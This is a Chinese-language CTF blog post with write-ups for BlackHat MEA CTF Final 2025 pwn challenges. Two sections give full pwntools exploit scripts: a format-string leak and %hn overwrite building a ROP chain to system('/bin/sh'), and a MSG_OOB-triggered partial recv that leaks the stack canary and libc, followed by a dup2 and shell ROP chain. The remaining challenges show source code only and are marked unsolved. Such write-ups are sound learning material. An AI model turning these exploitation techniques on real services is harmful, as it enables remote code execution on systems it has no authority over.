2172 words
11 minutes
Write-ups: BlackHat MEA CTF Final 2025
2025-12-02
2025-12-06

Verifmt#

Information#

  • Category: Pwn

Description#

Verifmt is a format string converter with a powerful verifier.

Write-up#

题目给了源码,还是很方便的:

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int verify_fmt(const char *fmt, size_t n_args) {
size_t argcnt = 0;
size_t len = strlen(fmt);
for (size_t i = 0; i < len; i++) {
if (fmt[i] == '%') {
if (fmt[i+1] == '%') {
i++;
continue;
}
if (isdigit(fmt[i+1])) {
puts("[-] Positional argument not supported");
return 1;
}
if (argcnt >= n_args) {
printf("[-] Cannot use more than %lu specifiers\n", n_args);
return 1;
}
argcnt++;
}
}
return 0;
}
int main() {
size_t n_args;
long args[4];
char fmt[256];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
/* Get arguments */
printf("# of args: ");
if (scanf("%lu", &n_args) != 1) {
return 1;
}
if (n_args > 4) {
puts("[-] Maximum of 4 arguments supported");
continue;
}
memset(args, 0, sizeof(args));
for (size_t i = 0; i < n_args; i++) {
printf("args[%lu]: ", i);
if (scanf("%ld", args + i) != 1) {
return 1;
}
}
/* Get format string */
while (getchar() != '\n');
printf("Format string: ");
if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
return 1;
}
/* Verify format string */
if (verify_fmt(fmt, n_args)) {
continue;
}
/* Enjoy! */
printf(fmt, args[0], args[1], args[2], args[3]);
}
return 0;
}

发现只是对格式化字符串做了一些限制,不能利用位置参数泄漏指定值,再者就是最多只能使用四个格式化字符串标志符(以 % 打头算一个),且格式化字符串格式也是固定为 printf(fmt, args[0], args[1], args[2], args[3]);,但是传入 printf 的所有参数都是可控的。

这题基本上只要搞明白怎么泄漏地址就赢了,涉及到一个 * 参数的概念,如果我们输入 %*.*p%*.*p,这四个 * 就会分别用 args[0] ~ args[4] 为参数,且 p 也各占一个参数位,此时我们只使用了两个 % 标识符,就已经消耗了六个参数,另外还剩两次机会。好巧不巧,栈上就有一个地址,正好是第七个参数,所以直接再加一个 %p 泄漏即可。

泄漏了栈地址我们就知道返回地址,调试发现返回地址处保存的正好是 libc 地址,我们可以直接控制 rsi 为返回地址,fmt%s 以此泄漏 libc,之后就随便打打了。

Exploit#

#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def set_args(cnt, *args_values, fmt):
target.sendlineafter(b"# of args: ", str(cnt).encode())
for i, val in enumerate(args_values):
if val is not None:
prompt = f"args[{i}]: "
target.sendlineafter(prompt.encode(), str(val).encode())
# raw_input("DEBUG")
target.sendlineafter(b"Format string: ", fmt)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, targets
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
target = targets[0]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
set_args(4, 1, 2, 3, 4, fmt=b"%*.*p%*.*p %p")
target.recvuntil(b" ")
stack = int(target.recvline(), 16)
pie = stack + 0x158
ret = stack + 0x170
target.success(f"stack: {hex(stack)}")
target.success(f"pie: {hex(pie)}")
target.success(f"ret: {hex(ret)}")
set_args(1, ret, fmt=b"%s")
libc.address = int.from_bytes(target.recv(0x6), "little") - 0x29D90
set_args(1, pie, fmt=b"%s")
elf.address = int.from_bytes(target.recv(0x6), "little") - 0x1160
target.success(f"libc: {hex(libc.address)}")
target.success(f"pie: {hex(elf.address)}")
pop_rdi_ret = elf.address + 0x0000000000001282
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
align = elf.address + 0x000000000000101A
set_args(3, pop_rdi_ret & 0xFFFF, 0, ret, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 16) & 0xFFFF, 0, ret + 2, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 32) & 0xFFFF, 0, ret + 4, fmt=b"%*c%hn")
set_args(3, binsh & 0xFFFF, 0, ret + 0x8, fmt=b"%*c%hn")
set_args(3, (binsh >> 16) & 0xFFFF, 0, ret + 0x8 + 2, fmt=b"%*c%hn")
set_args(3, (binsh >> 32) & 0xFFFF, 0, ret + 0x8 + 4, fmt=b"%*c%hn")
set_args(3, align & 0xFFFF, 0, ret + 0x10, fmt=b"%*c%hn")
set_args(3, (align >> 16) & 0xFFFF, 0, ret + 0x10 + 2, fmt=b"%*c%hn")
set_args(3, (align >> 32) & 0xFFFF, 0, ret + 0x10 + 4, fmt=b"%*c%hn")
set_args(3, system & 0xFFFF, 0, ret + 0x18, fmt=b"%*c%hn")
set_args(3, (system >> 16) & 0xFFFF, 0, ret + 0x18 + 2, fmt=b"%*c%hn")
set_args(3, (system >> 32) & 0xFFFF, 0, ret + 0x18 + 4, fmt=b"%*c%hn")
target.sendlineafter(b"# of args: ", b"A")
target.interactive()
if __name__ == "__main__":
main()

Stack Prelude#

Information#

  • Category: Pwn

Description#

It is either easy or impossible.

Write-up#

比赛期间没做出来,赛后复现的,纯纯的经验题好吧……

题目源码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct sockaddr_in cli, addr = {0};
socklen_t clen;
int cfd, sfd = -1, yes = 1;
ssize_t n;
char buf[0x100];
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 1) < 0) {
perror("listen");
goto err;
}
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
while (1) {
n = 0;
recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
if (n <= 0 || n >= 0x200)
break;
recv(cfd, buf, n, MSG_WAITALL);
send(cfd, buf, n, 0);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}

这题是个一次只能处理一个请求的 socket 服务器,先说说我当时取得的成果吧……我是发现可以发送半闭 FIN 包使 recv 函数不接收完整的数据直接返回,由于没有检查 recv 函数的返回值,后面的 send 会泄漏栈数据。

这里提到的半闭 FIN 包可以通过 target.shutdown("write") 发送关闭输入的半闭包,保留输出,但是这么做的问题就在于,关闭了输入后在 send 结束回到 while 循环头后 recv 接收不到数据,返回 0,退出循环,结束程序。所以即使我们泄漏了数据,要是不能继续和程序交互的话也只能是干瞪眼……

草啊,其实当时是很有希望做出这道题的,但是没有想过我可以给自己发送的数据加 flags,如果能想到这点的话这题就秒了……感觉自己是猪头,我连 FIN 都想到了,就是没想到 flags,这难道不是一个很自然的想法吗??气死我了 smh(

现场学能绕过 MSG_WAITALL 的方法,总结为如下几种情况:

  1. 对端关闭连接 (FIN)
  2. 对端异常断开 (RST)
  3. 中断信号
  4. 超时(前提是设置了 SO_RCVTIMEO flag)
  5. 其它奇奇怪怪的致命错误

FIN 可以排除了,因为发了这个后续不能继续操作,超时也可以排除,因为没设置这个 flag,我们可以重点研究一下有哪些可以由 client 端发送的 flag 会触发中断信号,这里就不赘述了,直接说结论 —— MSG_OOB,这个 flag 表示 out-of-band,如果用在 send,就代表会使用一个额外的 urgent byte,表示外带数据,接收端处理 TCP 数据包发现 urgent byte 会触发 SIGURG 信号,这个信号属于异步事件,可以打断带有 MSG_WAITALL flag 的 recv 函数。

现在我们泄漏了数据,又能维持交互,那剩下的应该没啥好说的了,只需要注意 socket server 需要让 stdin 和 stdout 指向 socket 通道就好了,不然无法和返回的 shell 交互。

Exploit#

#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
constants,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread count")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(argv, env=envp)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch([FILE, "1337"])
thread[0].sendline(flat(0x120))
thread[0].sock.send(b"A" * 2, constants.MSG_OOB)
resp = thread[0].recv(0x120)
canary = int.from_bytes(resp[0x108:0x110], "little")
libc.address = int.from_bytes(resp[0x118:0x120], "little") - 0x2A1CA
thread[0].success(f"canary: {hex(canary)}")
thread[0].success(f"libc: {hex(libc.address)}")
raw_input("DEBUG")
thread[0].sendline(flat(0x188))
pop_rdi_ret = libc.address + 0x000000000010F78B
pop_rsi_ret = libc.address + 0x0000000000110A7D
binsh = next(libc.search(b"/bin/sh"))
dup2 = libc.sym["dup2"]
system = libc.sym["system"]
align = pop_rdi_ret + 1
payload = flat(
{
0x108 - 1: canary,
0x118 - 1: pop_rdi_ret,
0x120 - 1: 4,
0x128 - 1: pop_rsi_ret,
0x130 - 1: 0,
0x138 - 1: dup2,
0x140 - 1: pop_rdi_ret,
0x148 - 1: 4,
0x150 - 1: pop_rsi_ret,
0x158 - 1: 1,
0x160 - 1: dup2,
0x168 - 1: align,
0x170 - 1: pop_rdi_ret,
0x178 - 1: binsh,
0x180 - 1: system,
},
filler=b"\x00",
)
raw_input("DEBUG")
thread[0].sendline(payload)
thread[0].sendline(flat(0x200))
thread[0].interactive()
if __name__ == "__main__":
main()

Stack Impromptu#

Information#

  • Category: Pwn

Description#

The word impossible is not in my dictionary.

Write-up#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
void fatal(const char *msg) {
perror(msg);
pthread_exit(NULL);
}
int server_read(int& fd) {
size_t size;
char buf[0x40];
memset(buf, 0, sizeof(buf));
if (read(fd, &size, sizeof(size)) != sizeof(size)
|| size > 0x100
|| read(fd, buf, size) < size)
goto err;
write(fd, buf, size);
return 0;
err:
close(fd);
fatal("Could not receive data (read)");
return 1;
}
void* server_main(void* arg) {
int fd = (int)((intptr_t)arg);
while (server_read(fd) == 0);
return NULL;
}
int main(int argc, char** argv) {
pthread_t th;
struct sockaddr_in cli, addr = { 0 };
socklen_t clen;
int cfd, sfd = -1, yes = 1;
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 5) < 0) {
perror("listen");
goto err;
}
while (1) {
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
pthread_detach(th);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}

待复现。

Exploit#

Stack Rhapsody#

Information#

  • Category: Pwn

Description#

Unknown

Write-up#

#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[0x10000];
fgets(buf, 0x100000, stdin);
system("echo Are you a good pwner?");
return 0;
}

待复现。

Exploit#

Scream#

Information#

  • Category: Pwn

Description#

Keep the secret.

Write-up#

待复现。

Exploit#

EDU#

Information#

  • Category: Pwn

Description#

QEMU provides an educational device for learning VM escape. This bug is intentionally made for educational purpose, right? …… Right?

https://www.qemu.org/docs/master/specs/edu.html

Write-up#

待复现。

Exploit#

Write-ups: BlackHat MEA CTF Final 2025
https://cubeyond.net/posts/write-ups/blackhat-mea-ctf-final-2025/
Author
CuB3y0nd
Published at
2025-12-02
License
CC BY-NC-SA 4.0